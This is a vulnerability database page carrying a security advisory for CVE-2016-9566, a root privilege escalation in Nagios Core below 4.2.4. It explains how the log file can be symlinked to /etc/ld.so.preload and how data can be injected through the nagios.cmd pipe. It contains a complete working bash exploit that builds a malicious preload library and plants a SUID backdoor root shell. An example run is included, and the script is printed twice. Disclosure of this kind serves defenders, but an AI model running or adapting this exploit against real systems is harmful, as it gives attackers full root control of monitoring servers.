Lucene search

K
seebugRootSSV:92575
HistoryDec 16, 2016 - 12:00 a.m.

Nagios Core < 4.2.4 - Root Privilege Escalation (CVE-2016-9566)

2016-12-1600:00:00
Root
www.seebug.org
34

0.929 High

EPSS

Percentile

99.0%

INTRODUCTION

Nagios Core daemon in versions below 4.2.4 was found to perform unsafe
operations when handling the log file. This could be exploited by
malicious local attackers to escalate their privileges from ‘nagios’ system user,
or from a user belonging to ‘nagios’ group, to root.
The exploit could enable the attackers to fully compromise the system on which a
vulnerable Nagios version was installed.

To obtain the necessary level of access, the attackers could use another
Nagios vulnerability discovered by the author of this advisory - CVE-2016-9565
which has been linked in the references.

DESCRIPTION

Default installation of Nagios Core creates the log directory with the
following permissions:

drwxrwsr-x 5 nagios nagios

Nagios daemon was found to open the log file before dropping its root
privileges on startup:

8148  open("/usr/local/nagios/var/nagios.log",
O_RDWR|O_CREAT|O_APPEND, 0666) = 4
8148  fcntl(4, F_SETFD, FD_CLOEXEC)     = 0
8148  fchown(4, 1001, 1001)             = 0
8148  getegid()                         = 0
8148  setgid(1001)                      = 0
8148  geteuid()                         = 0
[...]

If an attacker managed to gain access to an account of ‘nagios’ or any
other account belonging to the ‘nagios’ group, they would be able to
replace the log file with a symlink to an arbitrary file on the system.

This vulnerability could be used by an attacker to escalate their privileges
from nagios user/group to root for example by creating a malicious
/etc/ld.so.preload file.

The file would be created with the following nagios permissions due to
the fchown operation shown above:

-rw-r--r-- 1 nagios nagios 950 Dec 10 11:56 /etc/ld.so.preload

which would enable write access to the file for the ‘nagios’ user
but not the ‘nagios’ group.

Gaining write access to ld.so.preload as ‘nagios’ group

If the attacker managed to exploit the CVE-2016-9565 vulnerability explained at:

https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html

they would gain access to www-data account belonging to ‘nagios’ group in case
of a default Nagios install following the official Nagios setup guide:

https://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf

This would not be enough to write to ld.so.preload file as ‘nagios’ group is
only allowed to read the log file.

Attackers with access to ‘nagios’ group could however bypass the lack of
write privilege by writing to Nagios external command pipe (nagios.cmd) which
is writable by ‘nagios’ group by default:

prw-rw---- 1 nagios nagios 0 Dec 10 19:39 nagios.cmd

The Nagios command pipe allows to communicate with Nagios daemon.

By sending an invalid command to the pipe, the attacker could bypass the lack
of write permission and inject data to the log file (pointing to ld.so.preload).

For example, by running the command:

/usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so \n" `date +%s` &gt; /usr/local/nagios/var/rw/nagios.cmd

Nagios daemon would append the following line to the log file:

[1481439996] Warning: Unrecognized external command -&gt; NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so

which would be enough to load a malicious library and escalate the privileges
from a www-data user (belonging to ‘nagios’ group) to root upon a Nagios restart.

Forcing restart of Nagios daemon

Attackers could speed up the restart by using the Nagios command pipe once again
to send a SHUTDOWN_PROGRAM command as follows:

/usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` &gt; /usr/local/nagios/var/rw/nagios.cmd

V. PROOF OF CONCEPT EXPLOIT

-----------[ nagios-root-privesc.sh ]--------------

#!/bin/bash
#
# Nagios Core &lt; 4.2.4  Root Privilege Escalation PoC Exploit
# nagios-root-privesc.sh (ver. 1.0)
#
# CVE-2016-9566
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory
#
#
# [Info]
#
# This PoC exploit allows privilege escalation from 'nagios' system account, 
# or an account belonging to 'nagios' group, to root (root shell).
# Attackers could obtain such an account via exploiting another vulnerability,
# e.g. CVE-2016-9565 linked below.
#
# [Exploit usage]
#
# ./nagios-root-privesc.sh path_to_nagios.log 
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
#
# Video PoC:
# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
#
# CVE-2016-9565:
# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nagiosrootsh"
PRIVESCLIB="/tmp/nagios_privesc_lib.so"
PRIVESCSRC="/tmp/nagios_privesc_lib.c"
SUIDBIN="/usr/bin/sudo"
commandfile='/usr/local/nagios/var/rw/nagios.cmd'

function cleanexit {
	# Cleanup 
	echo -e "\n[+] Cleaning up..."
	rm -f $PRIVESCSRC
	rm -f $PRIVESCLIB
	rm -f $ERRORLOG
	touch $ERRORLOG
	if [ -f /etc/ld.so.preload ]; then
		echo -n &gt; /etc/ld.so.preload
	fi
	echo -e "\n[+] Job done. Exiting with code $1 \n"
	exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
	cleanexit 0
}

#intro 

echo -e "\033[94m \nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \nnagios-root-privesc.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Priv check
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q nagios
if [ $? -ne 0 ]; then
	echo -e "\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\n"
	exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f "$ERRORLOG" ]; then
	echo -e "\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \n"
	echo -e "./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\n"
	exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat &lt;&lt;_solibeof_&gt;$PRIVESCSRC
#define _GNU_SOURCE
#include &lt;stdio.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;unistd.h&gt;
#include &lt;dlfcn.h&gt;
       #include &lt;sys/types.h&gt;
       #include &lt;sys/stat.h&gt;
       #include &lt;fcntl.h&gt;

uid_t geteuid(void) {
	static uid_t  (*old_geteuid)();
	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
	if ( old_geteuid() == 0 ) {
		chown("$BACKDOORPATH", 0, 0);
		chmod("$BACKDOORPATH", 04777);
		unlink("/etc/ld.so.preload");
	}
	return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
	echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
	cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
	echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
	exit 2
fi

# Symlink the Nagios log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
	echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
	cleanexit 3
fi
echo -e "\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

{
# Wait for Nagios to get restarted
echo -ne "\n[+] Waiting for Nagios service to get restarted...\n"
echo -n "Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] "
read THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
	/usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` &gt; $commandfile
fi
sleep 3s
ps aux | grep -v grep | grep -i 'bin/nagios'
if [ $? -ne 0 ]; then
	echo -ne "\n[+] Nagios stopped. Shouldn't take long now... ;)\n"
fi
while :; do 
	sleep 1 2&gt;/dev/null
	if [ -f /etc/ld.so.preload ]; then
		rm -f $ERRORLOG
		break;
	fi
done

echo -e "\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \n`ls -l /etc/ld.so.preload`"

# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms:
# -rw-r--r-- 1 nagios nagios 
# Only 'nagios' user can write to it, but 'nagios' group can not.
# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user.
# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe
# nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will
# inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :)

sleep 3s 	# Wait for Nagios to create the nagios.cmd pipe
if [ ! -p $commandfile ]; then
	echo -e "\n[!] Nagios command pipe $commandfile does not exist!"
	exit 2
fi	
echo -e "\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload"
now=`date +%s`
/usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \n" $now &gt; $commandfile
sleep 1s
grep -q "$PRIVESCLIB" /etc/ld.so.preload
if [ $? -eq 0 ]; then 
	echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload | grep "$PRIVESCLIB"`"
else
	echo -e "\n[!] Unable to inject the lib to /etc/ld.so.preload"
	exit 2
fi

} 2&gt;/dev/null

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary"
sudo 2&gt;/dev/null &gt;/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root 2&gt;/dev/null
if [ $? -eq 0 ]; then 
	echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
	echo -e "\n\033[94mGot root via Nagios!\033[0m"
else
	echo -e "\n[!] Failed to get root: \n`ls -l $BACKDOORPATH`"
	cleanexit 2
fi

# Use the rootshell to perform cleanup that requires root privileges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
rm -f $ERRORLOG
echo &gt; $ERRORLOG

# Execute the rootshell
echo -e "\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0

Example run

www-data@debjessie:/tmp$ ./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log
./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log
 
Nagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) 
nagios-root-privesc.sh (ver. 1.0)

Discovered and coded by: 

Dawid Golunski 
https://legalhackers.com 

[+] Starting the exploit as: 
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd)

[+] Compiling the privesc shared library (/tmp/nagios_privesc_lib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxrwxrwx 1 root root 1029624 Dec 11 08:44 /tmp/nagiosrootsh

[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: 
lrwxrwxrwx 1 www-data nagios 18 Dec 11 08:44 /usr/local/nagios/var/nagios.log -&gt; /etc/ld.so.preload

[+] Waiting for Nagios service to get restarted...
Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] y

[+] Nagios stopped. Shouldn't take long now... ;)

[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: 
-rw-r--r-- 1 nagios nagios 871 Dec 11 08:44 /etc/ld.so.preload

[+] Injecting /tmp/nagios_privesc_lib.so via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
[1481463869] Warning: Unrecognized external command -&gt; NAGIOS_GIVE_ME_ROOT_NOW!;; /tmp/nagios_privesc_lib.so

[+] Triggering privesc code from /tmp/nagios_privesc_lib.so by executing /usr/bin/sudo SUID binary

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx 1 root root 1029624 Dec 11 08:44 /tmp/nagiosrootsh

Got root via Nagios!

[+] Nagios pwned. Spawning the rootshell /tmp/nagiosrootsh now

nagiosrootsh-4.3# exit
exit

[+] Cleaning up...

[+] Job done. Exiting with code 0 

Video PoC:

https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html

BUSINESS IMPACT

An attacker who has managed to gain access to ‘nagios’ account, or an account
belonging to ‘nagios’ group (which is the case in the CVE-2016-9565 scenario)
to escalate their privileges to root and fully compromise the Nagios monitoring
server.


                                                #!/bin/bash
#
# Nagios Core < 4.2.4  Root Privilege Escalation PoC Exploit
# nagios-root-privesc.sh (ver. 1.0)
#
# CVE-2016-9566
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory
#
#
# [Info]
#
# This PoC exploit allows privilege escalation from 'nagios' system account, 
# or an account belonging to 'nagios' group, to root (root shell).
# Attackers could obtain such an account via exploiting another vulnerability,
# e.g. CVE-2016-9565 linked below.
#
# [Exploit usage]
#
# ./nagios-root-privesc.sh path_to_nagios.log 
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
#
# Video PoC:
# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
#
# CVE-2016-9565:
# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nagiosrootsh"
PRIVESCLIB="/tmp/nagios_privesc_lib.so"
PRIVESCSRC="/tmp/nagios_privesc_lib.c"
SUIDBIN="/usr/bin/sudo"
commandfile='/usr/local/nagios/var/rw/nagios.cmd'

function cleanexit {
	# Cleanup 
	echo -e "\n[+] Cleaning up..."
	rm -f $PRIVESCSRC
	rm -f $PRIVESCLIB
	rm -f $ERRORLOG
	touch $ERRORLOG
	if [ -f /etc/ld.so.preload ]; then
		echo -n > /etc/ld.so.preload
	fi
	echo -e "\n[+] Job done. Exiting with code $1 \n"
	exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
	cleanexit 0
}

#intro 

echo -e "\033[94m \nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \nnagios-root-privesc.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Priv check
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q nagios
if [ $? -ne 0 ]; then
	echo -e "\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\n"
	exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f "$ERRORLOG" ]; then
	echo -e "\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \n"
	echo -e "./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\n"
	exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
	static uid_t  (*old_geteuid)();
	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
	if ( old_geteuid() == 0 ) {
		chown("$BACKDOORPATH", 0, 0);
		chmod("$BACKDOORPATH", 04777);
		unlink("/etc/ld.so.preload");
	}
	return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
	echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
	cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
	echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
	exit 2
fi

# Symlink the Nagios log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
	echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
	cleanexit 3
fi
echo -e "\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

{
# Wait for Nagios to get restarted
echo -ne "\n[+] Waiting for Nagios service to get restarted...\n"
echo -n "Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] "
read THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
	/usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > $commandfile
fi
sleep 3s
ps aux | grep -v grep | grep -i 'bin/nagios'
if [ $? -ne 0 ]; then
	echo -ne "\n[+] Nagios stopped. Shouldn't take long now... ;)\n"
fi
while :; do 
	sleep 1 2>/dev/null
	if [ -f /etc/ld.so.preload ]; then
		rm -f $ERRORLOG
		break;
	fi
done

echo -e "\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \n`ls -l /etc/ld.so.preload`"

# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms:
# -rw-r--r-- 1 nagios nagios 
# Only 'nagios' user can write to it, but 'nagios' group can not.
# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user.
# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe
# nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will
# inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :)

sleep 3s 	# Wait for Nagios to create the nagios.cmd pipe
if [ ! -p $commandfile ]; then
	echo -e "\n[!] Nagios command pipe $commandfile does not exist!"
	exit 2
fi	
echo -e "\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload"
now=`date +%s`
/usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \n" $now > $commandfile
sleep 1s
grep -q "$PRIVESCLIB" /etc/ld.so.preload
if [ $? -eq 0 ]; then 
	echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload | grep "$PRIVESCLIB"`"
else
	echo -e "\n[!] Unable to inject the lib to /etc/ld.so.preload"
	exit 2
fi

} 2>/dev/null

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null
if [ $? -eq 0 ]; then 
	echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
	echo -e "\n\033[94mGot root via Nagios!\033[0m"
else
	echo -e "\n[!] Failed to get root: \n`ls -l $BACKDOORPATH`"
	cleanexit 2
fi

# Use the rootshell to perform cleanup that requires root privileges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
rm -f $ERRORLOG
echo > $ERRORLOG

# Execute the rootshell
echo -e "\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0